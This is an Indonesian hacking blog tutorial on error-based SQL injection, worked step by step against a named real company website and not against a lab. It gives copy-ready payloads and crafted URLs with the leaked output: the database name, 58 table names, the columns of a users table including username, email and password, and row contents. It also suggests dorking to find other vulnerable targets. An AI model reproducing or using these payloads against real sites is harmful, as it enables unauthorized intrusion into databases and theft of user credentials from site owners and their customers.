SQL Injection - Errror Based Injection


www.draxploit.web.id

-

Hai sobat.

Saya ikal,

Disini saya akan membahas sesuatu menarik nih.

-


Sesuai judul kita kali ini, kita akan membahas sebuah metode yang berbeda dari metode injection SQL lainnya yaitu error based metode.


Duplicate entry '*****' for key 'group_key'


Nah, itu sedikit ciri tampilan SQL Injection error based. Dan mungkin artikel ini lumayan bermanfaat untuk menambah skill injector mu untuk menyelesaikan setiap stage di sql-labs atau ditempat tempat lain.


Let's try!

Disini saya sudah mempunyai live target. Yaitu daikin.com.hk dan seperti biasa kita harus mendapatkan inject point terlebih dahulu.


- Menentukan Inject Point

Untuk cara mendapatkan/menentukan inject point, ada dua cara, yaitu dengan mendorking, atau mencoba mengakses setiap page yang muncul diindex. Anggap saja saya sudah mendapatkan Inject Point nya dan kita lanjut ketahap kedua.


- Menentukan vuln/tidak

Jika sudah mendapatkan Inject Pointnya, kita perlu mentriger error SQL untuk mengetahuinya bahwa itu error disebabkan vuln/tidak. Ada beberapa cara mentrigger SQL ini, diantaranya single quote ('),double quote ("),titik koma (;),dan lainnya. 


https://www.daikin.com.hk/product.php?categoryId=1'



Jika target sudah dapat dipastikan vuln terhadap injeksi SQL, kita lanjut ketahap selanjutnya.


- Menentukan balancing

Jika target sudah error. Sekarang kita kembalikan seperti semula menggunakan beberapa balancing. Beberapa balancing yang saya tahu adalah comment (-- -),(#),dan lainnya. Jika kita sudah berhasil menetralkan atau menghilangkan error yang ada, Kita lanjut lagi ketahap berikutnya.


https://www.daikin.com.hk/product.php?categoryId=1' -- - -> error

https://www.daikin.com.hk/product.php?categoryId=1' # -> error

https://www.daikin.com.hk/product.php?categoryId=1' ;%00 -> error 

https://www.daikin.com.hk/product.php?categoryId=1 -- - -> normal


- Mengetahui nama database

Karena ini error based, jadi agak sedikit berbeda dengan injeksi SQL lainnya. Disini kita perlu mengetahui nama database lalu mengingatnya untuk melanjutkan ketahap berikutnya.


Payload untuk mengetahui nama database


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Salin dan taruh dibagian sebelum balancing. Seperti ini


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


Result

Diatas sana kita mendapatkan kata ini.

Duplicate entry '~'daikin-www'~1' for key 'group_key'

Lalu nama database dari target kita yang mana?, yang terdapat ditengah. Penjelasan mengenai Payload diatas kalian bisa kunjungi @littelade . okeh sekarang kita lanjut untuk mempersulit hidup :D.


- Mengetahui satu/satu table name

Sebelum kalian mengakses untuk mengetahui satu persatu nama tabel yang ada, sebaiknya kalian cek seberapa banyak tabel yang terdapat pada server target tersebut.


Payload untuk mengetahui berapa banyak tabel yang ada.


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(table_name),0x27,0x7e)) from information_schema.tables where table_schema=NAMA_DATABASE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Sebelum kalian taruh keurl target, kalian harus menyalin nama database lalu encode menjadi HEX,dan taruh dibagian yang saya BOLD diatas. Jika sudah, salin semua payload beserta DATABASE yang sudah diencode tadi dan hapus payload sebelumnya lalu ganti dengan payload yang diatas.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(table_name),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


Result

Diatas sana kita mendapatkan.

Duplicate entry '~'58'~1' for key 'group_key'

Jumlah tabel ditarget saya ada 58 :D. Disini kita akan mencoba mengetahui setiap nama dari tabel tersebut. Disini saya mencoba menargetkan tabel users yah.


Payload 


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=NAMA_DATABASE limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Ganti bagian yang saya bold dengan nama database target kalian yang sudah diencode menjadi HEX. 


Disini kita hanya perlu memainkan limit yang ada. Misal limit 0,1 limit 1,1 limit 2,1 dan seterusnya.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

area

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

banner

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

bannerImage

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

course

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(table_name as char),0x27,0x7e)) from information_schema.tables where table_schema=0x6461696b696e2d777777 limit 49,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

users


itu saya skip, dikarenakan kalau dilanjutkan dari 0 sampai 49 akan terlalu banyak memakan baris kata :D. Tabel yang dituju sudah tau, sekarang kita akan membuka isi dalam tabel tersebut alias kita akan mencoba melihat nama nama column yang ada di tabel tersebut.


- Mengetahui satu/satu column name dari tabel yang dituju.

Sebelum melihat nama column dari tabel users, sebaiknya kita cek dulu jumlah column yang ada di tabel users.


Payload untuk mengetahui jumlah column


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(column_name),0x27,0x7e)) from information_schema.columns where table_name=NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Ganti bagian yang saya bold dengan nama tabel yang sudah diencode menjadi HEX.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,count(column_name),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -



 Dan yang kita dapat diatas adalah

Duplicate entry '~'6'~1' for key 'group_key'

Jumlah column pada tabel users ada 6. Huft Tidak seperti tadi yang berjumlah 50+ :D. Mari mempersulit hidup lagi.


Disini saya hanya ingin mengetahui isi dari column uid, dari tabel users.


Payload untuk mengetahui nama column


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

 

Ubah bagian yang di bold dengan nama tabel yang sudah diencode menjadi HEX. Lalu salin dan hapus payload sebelumnya dan tempelkan payload diatas.


Seperti saat bagian mengetahui nama tabel, disini kita akan memainkan limit juga :D.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

uid

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

username

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

email

https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(column_name as char),0x27,0x7e)) from information_schema.columns where table_name=0x7573657273 limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -

password


dan kita mendapatkan column uid. Sekarang kita tinggal melihat isi dari column uid.


- Mengetahui isi column

Karena kita sudah mengetahui nama columnnya, sekarang mari kita lihat isi dari column tersebut.


Payload untuk melihat isi column


 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(NAMA_COLUMN as char),0x27,0x7e)) from NAMA_TABEL limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


Bagian NAMA_COLUMN yang ingin dibuka isinya, dan bagian NAMA_TABEL ganti dengan nama tabel dari column yang ingin dibuka.


https://www.daikin.com.hk/product.php?categoryId=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(uid as char),0x27,0x7e)) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -



Dan kita mendapatkan

Duplicate entry '~'1'~1' for key 'group_key'

 Mainkan limit untuk melihat isi dari column yang lainnya, seperti limit 0,1 limit 0,2 limit 0,3 . 


Nah mungkin segini aja artikel kali ini. Bila ada yang kurang atau salah kata biarkan saja.


Thanks.

See u